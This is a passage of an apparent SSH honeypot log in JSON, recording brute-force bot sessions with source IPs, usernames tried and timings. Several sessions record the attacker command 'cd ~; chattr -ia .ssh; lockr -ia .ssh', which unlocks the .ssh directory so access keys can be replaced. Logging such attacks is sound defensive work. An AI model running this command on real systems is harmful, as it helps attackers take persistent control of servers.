  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 63,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T20:05:26.773233+00:00",
  "ended_at": "2026-08-24T20:05:26.779502+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3343
 },
 {
  "id": "c3059c0f-9c78-4768-b5a8-7722520682a3",
  "name": "crisp-cobalt-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "150.136.214.177",
  "src_port": 34694,
  "username": "feria",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T20:05:15.759761+00:00",
  "ended_at": "2026-08-24T20:05:15.955860+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cabb3fa9-36d4-4081-b01b-0c12f2fcbc21",
  "name": "ashen-plush-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "150.136.214.177",
  "src_port": 32056,
  "username": "feria",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T20:05:09.857916+00:00",
  "ended_at": "2026-08-24T20:05:11.432941+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ac167260-2af0-462f-aa7b-3868c2b56301",
  "name": "mighty-loyal-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "150.136.214.177",
  "src_port": 31598,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T20:05:08.838531+00:00",
  "ended_at": "2026-08-24T20:05:09.729695+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e5a4d9be-8931-41fd-acbc-1338a4510e6d",
  "name": "graceful-autumn-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "150.136.214.177",
  "src_port": 40674,
  "username": "hadoop",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T20:03:03.464927+00:00",
  "ended_at": "2026-08-24T20:03:04.864493+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f58232ff-018a-4d07-9598-012047194b0e",
  "name": "blazing-loyal-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "150.136.214.177",
  "src_port": 45038,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T20:00:09.135827+00:00",
  "ended_at": "2026-08-24T20:00:10.934448+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "46ec8e9e-9279-4a6b-b5ea-d2df6efaa50b",
  "name": "windswept-downy-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "121.184.144.232",
  "src_port": 55395,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 613,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T19:36:55.316711+00:00",
  "ended_at": "2026-08-24T19:36:55.506740+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3955
 },
 {
  "id": "7a9cb3ae-e35d-4310-a39e-c0be17099b2f",
  "name": "lunar-quaint-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.184.144.232",
  "src_port": 51367,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:36:37.240070+00:00",
  "ended_at": "2026-08-24T19:36:37.581003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d828f20a-10e9-4bfc-ad6e-4cecc14e3c9f",
  "name": "buoyant-jovial-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.184.144.232",
  "src_port": 62941,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:36:21.739919+00:00",
  "ended_at": "2026-08-24T19:36:23.416818+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2d774365-2faf-44db-98cc-6cba6dcdb350",
  "name": "lofty-pewter-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.184.144.232",
  "src_port": 59238,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:36:19.090840+00:00",
  "ended_at": "2026-08-24T19:36:20.499082+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ab3951a7-187f-4e8c-a7a3-bc06b028a478",
  "name": "jagged-alpine-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.184.144.232",
  "src_port": 48627,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:33:42.233733+00:00",
  "ended_at": "2026-08-24T19:33:43.380461+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "164dc689-4753-4d0d-854f-31db8b6ce342",
  "name": "patient-granite-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.184.144.232",
  "src_port": 40618,
  "username": "vishal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:31:06.181262+00:00",
  "ended_at": "2026-08-24T19:31:07.371647+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "83b15964-3099-4395-a7ab-7876f77e574c",
  "name": "hushed-stoic-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.184.144.232",
  "src_port": 27113,
  "username": "root/1234567",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:26:02.659724+00:00",
  "ended_at": "2026-08-24T19:26:04.180414+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "888b5309-3f8d-4125-8ea4-144dfaf1130b",
  "name": "lunar-gritty-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.35.110.147",
  "src_port": 34518,
  "username": "accounting",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 417,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T19:09:01.642120+00:00",
  "ended_at": "2026-08-24T19:09:01.768877+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4304
 },
 {
  "id": "67d5f6ce-be29-48d2-a412-7fdabda56506",
  "name": "solemn-leafy-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "87.106.29.151",
  "src_port": 41442,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T19:09:01.160303+00:00",
  "ended_at": "2026-08-24T19:09:01.247837+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4113
 },
 {
  "id": "bb819b32-55e3-4b38-9613-04f0d615eee6",
  "name": "lonesome-inland-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.29.151",
  "src_port": 33468,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:08:46.970717+00:00",
  "ended_at": "2026-08-24T19:08:47.272487+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1c8e2d88-480b-4e0a-8451-eac27bb4ae8b",
  "name": "glassy-glacial-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.35.110.147",
  "src_port": 44298,
  "username": "accounting",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:08:45.330658+00:00",
  "ended_at": "2026-08-24T19:08:45.713081+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e995a097-6445-4a65-8651-74fe04f792af",
  "name": "rambling-hidden-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.29.151",
  "src_port": 41454,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:08:36.696553+00:00",
  "ended_at": "2026-08-24T19:08:38.103773+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "51dee826-3383-4793-890a-2cfd6efe394e",
  "name": "ginger-ancient-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.29.151",
  "src_port": 41446,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:08:35.328130+00:00",
  "ended_at": "2026-08-24T19:08:36.046153+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "344a275a-0943-4551-bf34-5fc0bc801a7b",
  "name": "vigilant-coral-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.35.110.147",
  "src_port": 53480,
  "username": "accounting",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:08:34.354608+00:00",
  "ended_at": "2026-08-24T19:08:35.300342+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2fba6d46-bf13-4979-ac8c-4a5daee51caf",
  "name": "dusty-drifting-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.35.110.147",
  "src_port": 34524,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:08:32.065310+00:00",
  "ended_at": "2026-08-24T19:08:33.488870+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b5c6264b-6abb-4354-8d25-34a9d43bfe98",
  "name": "gnarled-nameless-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.29.151",
  "src_port": 37958,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:06:35.130315+00:00",
  "ended_at": "2026-08-24T19:06:36.181889+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2847b851-c6cd-46df-a45f-6e2dfca14ef6",
  "name": "orderly-solar-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.35.110.147",
  "src_port": 33546,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:05:40.955267+00:00",
  "ended_at": "2026-08-24T19:05:42.931101+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5904918d-93f2-4223-af0a-59b677c06f4c",
  "name": "gritty-painted-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.29.151",
  "src_port": 43902,
  "username": "test-user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:04:25.283226+00:00",
  "ended_at": "2026-08-24T19:04:26.756958+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6c22cbd7-88a1-4ee5-ba4a-8936d7da13a5",
  "name": "buoyant-glassy-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.35.110.147",
  "src_port": 42702,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T18:58:50.435127+00:00",
  "ended_at": "2026-08-24T18:58:51.932042+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd960bb3-afd1-4f6a-a7ff-6efcc3a43183",
  "name": "wistful-mossy-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.29.151",
  "src_port": 55080,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T18:57:36.226021+00:00",
  "ended_at": "2026-08-24T18:57:37.272127+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eef8ef1f-b5a0-4b1f-87e9-bc3ed4e4ceed",
  "name": "cobalt-quartz-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "65.181.71.117",
  "src_port": 58331,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 688,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T18:23:59.758849+00:00",
  "ended_at": "2026-08-24T18:23:59.971970+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3226
 },
 {
  "id": "76e0a6ca-e7c1-47fe-aa8a-250ad3723640",
  "name": "dutiful-brisk-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "65.181.71.117",
  "src_port": 61507,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T18:23:41.309152+00:00",
  "ended_at": "2026-08-24T18:23:41.806035+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "530ae50a-4580-4d19-b9c0-164072195948",
  "name": "rapid-tawny-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "65.181.71.117",
  "src_port": 59091,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T18:23:23.560616+00:00",
  "ended_at": "2026-08-24T18:23:25.266894+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e50c04f5-5086-44d7-80e2-564fb7e33919",
  "name": "vernal-salty-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "65.181.71.117",
  "src_port": 58681,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T18:23:20.676705+00:00",
  "ended_at": "2026-08-24T18:23:22.185429+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "12b86d6d-f093-4a4d-9e4d-1ac9123a8466",
  "name": "sincere-grassy-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "65.181.71.117",
  "src_port": 34000,
  "username": "xw",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T18:20:24.856127+00:00",
  "ended_at": "2026-08-24T18:20:26.044327+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06151e90-299a-4cdc-8ec9-b541955c104c",
  "name": "cunning-primal-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "65.181.71.117",
  "src_port": 33409,
  "username": "root2",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T18:17:48.098508+00:00",
  "ended_at": "2026-08-24T18:17:49.208028+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1820ef82-bede-495a-8d8d-6d29f6a25cc3",
  "name": "autumn-graceful-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "65.181.71.117",
  "src_port": 62540,
  "username": "eric",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T18:11:11.347748+00:00",
  "ended_at": "2026-08-24T18:11:12.702349+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bc359e45-55ba-409e-93c6-17db2ba5c4c0",
  "name": "shaded-hazy-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.12.221.15",
  "src_port": 41514,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 311,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T16:31:38.860509+00:00",
  "ended_at": "2026-08-24T16:31:38.948523+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3259
 },
 {
  "id": "d58d717f-bacc-4b1f-a4cb-3051d28328a8",
  "name": "rambling-dewy-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 36684,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:31:25.064695+00:00",
  "ended_at": "2026-08-24T16:31:25.383188+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d2aa7c54-d577-450d-afc5-76e986c53a27",
  "name": "honest-lofty-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 41522,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:31:14.836502+00:00",
  "ended_at": "2026-08-24T16:31:16.639642+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ed2d016e-5ef0-4b3f-bec4-2cc7910b9fa1",
  "name": "fleeting-glacial-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 41516,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:31:13.051006+00:00",
  "ended_at": "2026-08-24T16:31:14.218366+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "78d2c64f-18fd-44da-998f-e082e451926a",
  "name": "thawing-dusky-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 33126,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:28:53.691653+00:00",
  "ended_at": "2026-08-24T16:28:55.159038+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1eb2e852-b7ac-4cfc-825c-6620400edb12",
  "name": "dewy-nautical-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.119.48.179",
  "src_port": 55760,
  "username": "jarservice",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T16:28:31.114422+00:00",
  "ended_at": "2026-08-24T16:28:31.203018+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3462
 },
 {
  "id": "171f4c6b-1af5-476c-9462-81d9fdce3d45",
  "name": "pristine-sturdy-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.119.48.179",
  "src_port": 47466,
  "username": "jarservice",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:28:17.043335+00:00",
  "ended_at": "2026-08-24T16:28:17.228268+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "901d60e2-7888-4bfc-950e-077b1d019893",
  "name": "dusky-amiable-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.119.48.179",
  "src_port": 55778,
  "username": "jarservice",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:28:06.584667+00:00",
  "ended_at": "2026-08-24T16:28:08.386545+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5f874d39-f60e-4730-bb0e-e3940ed2a737",
  "name": "hushed-leafy-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.119.48.179",
  "src_port": 55772,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:28:04.863473+00:00",
  "ended_at": "2026-08-24T16:28:05.913756+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1271f5e6-4b3e-4732-bfc2-c8bee9c8775a",
  "name": "ashen-drifting-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 54086,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:26:20.535075+00:00",
  "ended_at": "2026-08-24T16:26:22.430188+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bcb0ae6a-0db4-410d-ae21-c3e1c37aceb1",
  "name": "gritty-burly-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.119.48.179",
  "src_port": 49256,
  "username": "flavia",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:25:55.288847+00:00",
  "ended_at": "2026-08-24T16:25:56.092498+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "387ff0a1-ddcb-4123-b9fb-36a052948632",
  "name": "hushed-vivid-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.119.48.179",
  "src_port": 41584,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:22:42.051521+00:00",
  "ended_at": "2026-08-24T16:22:43.791827+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3c7678b6-8be4-4003-89a0-62a96e45e99f",
  "name": "pewter-lucid-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.164.57.37",
  "src_port": 55784,
  "username": "crafty",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 713,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T16:21:45.170200+00:00",
  "ended_at": "2026-08-24T16:21:45.395008+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3248
 },
 {
  "id": "81c95145-6902-4cbd-923b-88cf66fee331",
  "name": "scarlet-velvet-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 47204,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:21:33.969313+00:00",
  "ended_at": "2026-08-24T16:21:35.145190+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "408c2243-32c3-429e-91f9-a9d33a8d57b0",
  "name": "gnarled-dusky-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.164.57.37",
  "src_port": 39926,
  "username": "crafty",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:21:26.068456+00:00",
  "ended_at": "2026-08-24T16:21:26.445717+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f8b1d311-baf4-49ff-b04a-4458c1a7534a",
  "name": "subtle-jaunty-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.164.57.37",
  "src_port": 55794,
  "username": "crafty",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:21:09.787725+00:00",
  "ended_at": "2026-08-24T16:21:10.840780+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "19c615a3-ab70-4940-bc39-bbf50a5c9915",
  "name": "salty-noble-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.164.57.37",
  "src_port": 55788,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:21:06.257303+00:00",
  "ended_at": "2026-08-24T16:21:08.365433+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e4a91fa9-adb7-4115-af8c-a8787483d47a",
  "name": "crisp-bashful-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.164.57.37",
  "src_port": 50536,
  "username": "wangyao",
